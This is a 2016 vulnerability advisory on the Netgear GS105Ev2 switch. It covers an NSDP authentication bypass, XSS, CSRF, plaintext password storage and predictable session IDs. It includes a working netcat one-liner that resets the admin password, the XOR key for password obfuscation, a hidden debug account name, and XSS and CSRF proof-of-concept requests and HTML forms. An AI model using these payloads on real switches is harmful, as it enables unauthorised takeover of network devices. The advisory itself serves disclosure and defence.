Netgear GS105Ev2 Authentication Bypass / XSS / CSRF

`# Multiple Vulnerabilities - Netgear GS105Ev2  
  
  
## Product  
  
Vendor: Netgear  
  
Model: GS105Ev2  
  
Firmware version: 1.3.0.3,1.4.0.2  
  
Reference: http://downloadcenter.netgear.com/de/product/GS105Ev2#searchResults  
  
Netgear GS105Ev2 is a Gigabit switch with 5 ports targeting SMBs. The switch can be configured by a web application and a netgear configuration utility. The netgear configuration utility uses a proprietary protocol - the so-called Netgear Switch Discovery Protocol (NSDP) - to manage and configure switches. The configuration is protected by a password.   
  
  
## Status/Metrics/Identifier  
  
Status: unfixed   
  
CVSS v2 Vector: (AV:A/AC:L/Au:N/C:C/I:C/A:C)  
  
CVSS Score: 8.3  
  
CVE-ID: n/A  
  
The highest risk is represented by the authentication bypass. This is reflected by the score.  
  
## Author/Credits  
  
Benedikt Westermann (TÜV Rheinland i-sec GmbH)  
  
  
## Authentication bypass in NSDP  
  
The implementation of the NSDP on the GS105Ev2 (and possibly also other switches) is flawed. An attacker with access to the broadcast domain of the switch can bypass  
the authentication process. This allows the attacker to gain full control of the switch, i.e., he can modify a particular configuration or flash another firmware to the   
the switch.   
  
  
### Detailed Description of the Vulnerability  
  
The NSDP is a simple stateless protocol. It consists of a header, a trailer, and a body consisting of an array of type-length-value triplets.   
  
The general structure is depicted below.  
  
/---------------------+----------------------\  
| 1 byte: version | 1 byte: packet-type |   
+---------------------+----------------------+  
| 2 bytes: result | 4 bytes: reserved |  
+---------------------+----------------------+  
| 6 bytes: src mac | 6 byte: dest mac |  
+---------------------+----------------------+  
| 2 bytes: reserved | 2 bytes: sequence no |  
+---------------------+----------------------+  
| 4 bytes: signature | 2 bytes: reserved |  
+---------------------+----------------------+   
| N bytes: TLV | 2 bytes: 0xFFFF |   
+---------------------+----------------------/  
| 2 bytes: 0x0000 |  
\---------------------/  
  
The TLV part is a sequence of type-length-value (TLV) triples. An entry has the following structure:  
  
/----------------+-------------------+---------------\  
| 2 bytes: type | 2 bytes: length l| l bytes: data |  
\----------------+-------------------+---------------/  
  
Regarding this vulnerability, the following two types are of special importance:  
  
Type 0x0009 - write password  
Type 0x9400 - unknown, but seems to indicate that no authentication is performed.  
  
By sending the following payload to the port 63322 to the IP of the GS105Ev2 switch, the password is changed to "test".   
  
|version|type|result|reserved |src-mac |dst-mac   
01: 03 : 00:00: 00:00:00:00:3c:97:0e:ee:98:eb:c0:ff:d4:ba:61:fc:  
  
|reserved|Sig. (NSDP) |TLV-type0x9400|TLV-type 0x0009 | Trailer   
00:00:00:78:4e:53:44:50:94:00:00:00:00:09:00:04:3a:11:14:06:ff:ff:00:00  
  
Hereby, the following part is of importance:  
94:00:00:00:00:09:00:04:3a:11:14:06  
  
The TLV 94:00:00:00 indicates a packet of type 94 with no payload. This followed by the TLV 00:09:00:04:3a:11:14:06. 0x0009 is the type "password change", 0x0004 is  
the length of the password, and 3a:11:14:06 is the "encrypted" password that is about to be set. The "encryption" of the password is done by XORing the password with   
the string "NtgrSmartSwitchRock". If the password is longer than the secret, the secret is used again.  
  
In case, the password has successfully be set, the switch replies with the following message:  
01:04:00:00:00:00:00:00:3c:97:0e:ee:98:eb:c0:ff:d4:ba:61:fc:00:00:00:78:4e:53:44:50:00:00:00:00  
  
If the message starts with this prefix 01:04:00:00, the password was changed successfully. This enables an attacker to gain access to the following configuration interfaces:  
- Web interface HTTP://<ip-of-switch>/login.cgi  
- Webinterface http://<ip-of-switch>/loginhidden.cgi with user: Admin1NtgrDebugUser (e.g.:  
- http://<ip-of-switch>/bootcode_update.cgi  
- http://<ip-of-switch>/produce_burn.cgi )  
- Netgear Configuration utility  
  
With this, the configuration can be changed, e.g., enabling a monitoring port, or flashing a new firmware.  
  
The following bash script can be used to change the password to test:  
  
echo "Please enter IP of switch:"; read ip; echo "";echo "Please enter MAC of switch (e.g. de:ad:de:ad:be:ef) :"; read mac; echo "01:03:00:00:00:00:00:00:3c:97:0e:ee:98:eb:c0:ff:d4:ba:61:fc:00:00:00:78:4e:53:44:50:94:00:00:00:00:09:00:04:3a:11:14:06:ff:ff:00:00" | sed "s/c0:ff:d4:ba:61:fc/$mac/g;s/://g" | xxd -r -p | nc -q 0 -b -u $ip 63322  
  
  
For a switch with the IP 192.168.0.239 and the MAC c0:ff:d4:ba:61:fc, the output (and input) would look like this:  
  
Please enter IP of switch:  
192.168.0.239  
  
Please enter MAC of switch (e.g. de:ad:de:ad:be:ef) :  
c0:ff:d4:ba:61:fc  
  
If the password is not changed, reboot the switch as this little bash script does not regard the SEQ number.  
  
It should be noted that the authentication bypass is not limited to the "set password" function. Other write functions are also affected by this vulnerability.  
  
Please note that the "encryption" scheme for the password is broken. The encryption string can easily be recovered by a simple XOR operation on a known password (NtgrSmartSwitchRock). Moreover, the Netgear Configuration Utility broadcasts the password to the network. Thus, an attacker within the broadcast domain can eavesdrop and decode the password. This fact was already noted in [Security by Obscurity bei Netgear Switches].   
  
[Security by Obscurity bei Netgear Switches]: - http://www.linux-magazin.de/Blogs/Insecurity-Bulletin/Gastbeitrag-Security-by-Obscurity-bei-Netgear-Switches   
  
  
## Multiple Vulnerabilities in Web-Interface  
  
Though we did not perform a full analysis of the web interface, we noticed that the web interface is prone to several vulnerabilities, i.e., XSS, CSRF, and insufficient protection of the password.   
  
  
### Detailed Description of the Vulnerabilities  
  
#### XSS  
  
We noticed that the web interface does not properly encode the output. This allows reflected Cross-Site Scripting attacks. The issue can be reproduced with the following request:  
  
POST /switch_info.cgi HTTP/1.1  
Host: 192.168.0.239  
Cookie: SID=EwTVdG\BCCCo\fNUhte]iXsr_psjq^hNdwr\RSXkduf[OXpsveZAeyIp_xx[wFmKdp_ijDDqABZrjlBH  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 110  
  
switch_name='onclick=alert(1)&dhcpMode=0&ip_address='><Script>alert(&subnet_mask=1)</script>'&gateway_address=  
  
Alternatively, the following HTML-document can be opened to trigger the XSS.  
  
<html>  
<body>  
<form action="http://192.168.0.239/switch_info.cgi" method="POST">  
<input type="hidden" name="switch_name" value="Blubb" />  
<input type="hidden" name="dhcpMode" value="0" />  
<input type="hidden" name="ip_address" value="'><Script>alert(" />  
<input type="hidden" name="subnet_mask" value="1)</script>'" />  
<input type="hidden" name="gateway_address" value="" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
The following fields are affected: IP-Adresse, Netmask, Gateway Address.  
  
  
#### CSRF  
  
In addition, the web application has no protection against Cross-Site request forgery attacks. With the following PoC, the problem can be reproduced:  
  
<html>  
<body>  
<form action="http://192.168.0.239/switch_info.cgi" method="POST">  
<input type="hidden" name="switch_name" value="CSRF" />  
<input type="hidden" name="dhcpMode" value="0" />  
<input type="hidden" name="ip_address" value="192.168.0.239" />  
<input type="hidden" name="subnet_mask" value="255.255.255.0" />  
<input type="hidden" name="gateway_address" value="192.168.0.1" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
#### Password Disclosure  
  
Moreover, the backup file of the configuration stores the password in plain, when the web interface is used to create the configuration (fixed with 1.4.0.2). The password, secretPass, is stored in plaintext in the configuration file:  
  
hexdump -C GS105Ev2.cfg  
00000000 23 79 23 79 00 c0 a8 00 ef ff ff ff 00 c0 a8 00 |#y#y............|  
00000010 01 00 00 00 00 00 00 61 64 6d 69 6e 00 00 00 00 |.......admin....|  
00000020 73 65 63 72 65 74 50 61 73 73 00 00 00 00 00 00 |secretPass......|  
00000030 00 00 00 00 00 00 0f ff f8 00 0f ff f8 00 0f ff |................|  
00000040 f8 00 0f ff f8 00 0f ff f8 00 0f ff f8 00 0f ff |................|  
  
CVE-2014-4864 describes the problem for the NSDP protocol.  
  
  
#### Predictable Cookies  
  
Another issue is represented by the session ID which seems to be predictable and related to uptime of the switch. After the first login within a minute after power-on, the following session id is set by the switch. For each new login request, the switch was disconnected from the power supply and reconnected. After some time, the ID changes again.  
  
  
##### Request 1  
  
POST /login.cgi HTTP/1.1  
Host: 192.168.0.239  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 13  
  
password=test  
  
  
##### Response 1  
  
  
HTTP/1.1 200 OK  
Connection: close  
Content-Type: text/html  
Set-Cookie: SID=EwTVdG\BCCCo\fNUhte]iXsr_psjq^hNdwr\RSXkduf[OXpsveZAeyIp_xx[wFmKdp_ijDDqABZrjlBH;PATH=/  
Content-Length: 3454  
  
##### Request 2  
  
POST /login.cgi HTTP/1.1  
Host: 192.168.0.239  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 13  
  
password=walla  
  
  
##### Response 2  
  
HTTP/1.1 200 OK  
Connection: close  
Content-Type: text/html  
Set-Cookie: SID=EwTVdG\BCCCo\fNUhte]iXsr_psjq^hNdwr\RSXkduf[OXpsveZAeyIp_xx[wFmKdp_ijDDqABZrjlBH;PATH=/  
Content-Length: 3454  
  
##### Request 3  
  
POST /login.cgi HTTP/1.1  
Host: 192.168.0.239  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 13  
  
password=secretPass  
  
  
##### Response 3  
  
HTTP/1.1 200 OK  
Connection: close  
Content-Type: text/html  
Set-Cookie: SID=EwTVdG\BCCCo\fNUhte]iXsr_psjq^hNdwr\RSXkduf[OXpsveZAeyIp_xx[wFmKdp_ijDDqABZrjlBH;PATH=/  
Content-Length: 3454  
  
  
  
## Fixed Versions  
  
No updates are currently available.  
  
Password Disclosure:  
Fixed in version 1.4.0.2  
  
  
## History  
  
10.08.2015 - Initial contact to Netgear via support chat  
10.08.2015 - Set preliminary disclosure date  
11.08.2015 - Netgear Support confirms findings  
01.09.2015 - Netgear Support informs that currently no immediate plans exist to fix the issues  
27.01.2016 - Public disclosure  
  
`